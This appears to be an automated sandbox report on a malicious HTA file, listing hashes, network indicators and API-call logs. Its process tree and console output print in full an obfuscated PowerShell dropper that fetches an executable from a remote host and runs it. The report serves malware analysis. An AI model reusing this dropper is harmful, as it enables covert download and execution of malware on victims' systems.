popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

room5.hta

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 May 28, 2024, 9:42 a.m. May 28, 2024, 9:44 a.m.
Size 10.5KB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 d3c362ce51282a6583d86fd69a578c89
SHA256 c1fb5c1305d935a96ad60a093298ecff9b3f309b446678fd6dcb619a4ac61b06
CRC32 DB0C3992
ssdeep 96:1CrcLzhJpAJlHlDylDHlDKV6VkZBJlHlDTlDelDUhV6V2w0CJlHlDDslDelD8V6I:1Sc5JCBoofoLco1o1YSjYmORAZhOb3jQ
Yara None matched

  • mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\room5.hta

    2564

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy, $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQy}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$MwnACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdhpUHoLnOVAM.DownloadData($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpHLjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDovBirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk = $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Path $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOpHLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270,77250,77258,77266,77258,77199,77270,77275,77200,77272,77264,77267,77253,77265,77267,77254,77268,77268,77200,77267,77264,77264,77262,77250,77199,77254,77273,77254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUGuLGImDnrHn;

      2656

Name Response Post-Analysis Lookup
eduaiqi.uz
A 83.69.139.250
83.69.139.250
x1.i.lencr.org
CNAME crl.root-x1.letsencrypt.org.edgekey.net
CNAME e8652.dscx.akamaiedge.net
A 23.52.33.11
23.52.33.11
IP Address Status Action
104.192.108.137 Active Moloch
164.124.101.2 Active Moloch
23.52.33.11 Active Moloch
83.69.139.250 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49164 -> 83.69.139.250:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49164
83.69.139.250:443 		C=US, O=Let's Encrypt, CN=R3 CN=www.eduaiqi.uz 8b:07:fb:aa:8c:84:8c:2d:3d:75:ee:dc:ca:b9:45:f8:5d:dc:f7:67

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net.
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: lowing enumeration values and try again. The possible enumeration values are "S
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: sl3, Tls"."
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:708
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy,
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJ
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: QsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZ
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powersh
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQ
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: y}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$Mwn
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: ACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: 77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]:: <
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: <<< SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdh
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: pUHoLnOVAM.DownloadData($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpH
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: LjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDov
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: BirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk =
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Pa
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: th $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOp
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: HLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: 7254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUG
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: uLGImDnrHn;
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : PropertyAssignmentException
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000187
1 1 0

WriteConsoleW

 buffer: on was closed: Could not establish trust relationship for the SSL/TLS secure ch
console_handle: 0x00000193
1 1 0

WriteConsoleW

 buffer: annel."
console_handle: 0x0000019f
1 1 0

WriteConsoleW

 buffer: At line:1 char:806
console_handle: 0x000001ab
1 1 0

WriteConsoleW

 buffer: + function dSiVFLsLehn($rfZncQy, $cUgweNexw){[IO.File]::WriteAllBytes($rfZncQy,
console_handle: 0x000001b7
1 1 0

WriteConsoleW

 buffer: $cUgweNexw)};function nIdpxHlTQCh($rfZncQy){if($rfZncQy.EndsWith((cWtOpHLjGaAJ
console_handle: 0x000001c3
1 1 0

WriteConsoleW

 buffer: QsKH @(77199,77253,77261,77261))) -eq $True){rundll32.exe $rfZncQy }elseif($rfZ
console_handle: 0x000001cf
1 1 0

WriteConsoleW

 buffer: ncQy.EndsWith((cWtOpHLjGaAJQsKH @(77199,77265,77268,77202))) -eq $True){powersh
console_handle: 0x000001db
1 1 0

WriteConsoleW

 buffer: ell.exe -ExecutionPolicy unrestricted -File $rfZncQy}elseif($rfZncQy.EndsWith((
console_handle: 0x000001e7
1 1 0

WriteConsoleW

 buffer: cWtOpHLjGaAJQsKH @(77199,77262,77268,77258))) -eq $True){misexec /qn /i $rfZncQ
console_handle: 0x000001f3
1 1 0

WriteConsoleW

 buffer: y}else{Start-Process $rfZncQy}};function jgnVrIPEDBsp($jtGWZjWFaRHXCuqVnz){$Mwn
console_handle: 0x000001ff
1 1 0

WriteConsoleW

 buffer: ACmdhpUHoLnOVAM = New-Object (cWtOpHLjGaAJQsKH @(77231,77254,77269,77199,77240,
console_handle: 0x0000020b
1 1 0

WriteConsoleW

 buffer: 77254,77251,77220,77261,77258,77254,77263,77269));[Net.ServicePointManager]::Se
console_handle: 0x00000217
1 1 0

WriteConsoleW

 buffer: curityProtocol = [Net.SecurityProtocolType]::TLS12;$cUgweNexw = $MwnACmdhpUHoLn
console_handle: 0x00000223
1 1 0

WriteConsoleW

 buffer: OVAM.DownloadData <<<< ($jtGWZjWFaRHXCuqVnz);return $cUgweNexw};function cWtOpH
console_handle: 0x0000022f
1 1 0

WriteConsoleW

 buffer: LjGaAJQsKH($UdjhWEgRZQSx){$RtRDovBirTtstBy=77153;$lGTIgueBJPfaj=$Null;foreach($
console_handle: 0x0000023b
1 1 0

WriteConsoleW

 buffer: TkMMOsDOXHzTTR in $UdjhWEgRZQSx){$lGTIgueBJPfaj+=[char]($TkMMOsDOXHzTTR-$RtRDov
console_handle: 0x00000247
1 1 0

WriteConsoleW

 buffer: BirTtstBy)};return $lGTIgueBJPfaj};function VAkrnUGuLGImDnrHn(){$IVSPGGhdAyk =
console_handle: 0x00000253
1 1 0

WriteConsoleW

 buffer: $env:AppData + '\';$lZOmMJaxLsT = $IVSPGGhdAyk + 'rooma.exe'; if (Test-Path -Pa
console_handle: 0x0000025f
1 1 0

WriteConsoleW

 buffer: th $lZOmMJaxLsT){nIdpxHlTQCh $lZOmMJaxLsT;}Else{ $nqvArjE = jgnVrIPEDBsp (cWtOp
console_handle: 0x0000026b
1 1 0

WriteConsoleW

 buffer: HLjGaAJQsKH @(77257,77269,77269,77265,77268,77211,77200,77200,77254,77253,77270
console_handle: 0x00000277
1 1 0

WriteConsoleW

 buffer: 7254));dSiVFLsLehn $lZOmMJaxLsT $nqvArjE;nIdpxHlTQCh $lZOmMJaxLsT;};;;;}VAkrnUG
console_handle: 0x0000029b
1 1 0

WriteConsoleW

 buffer: uLGImDnrHn;
console_handle: 0x000002a7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
console_handle: 0x000002b3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2198
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2298
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1d58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1d58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1d58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2618
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2718
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e1e98
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e2b18
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06487480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06487480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06487480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06487480
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET http://x1.i.lencr.org/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2564
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73bc2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 1048576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02970000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e1000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2656
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x717e2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02633000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02634000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02635000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02636000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05030000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05031000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05032000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2656
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05033000
allocation_type: 4096 (MEM_COMMIT)
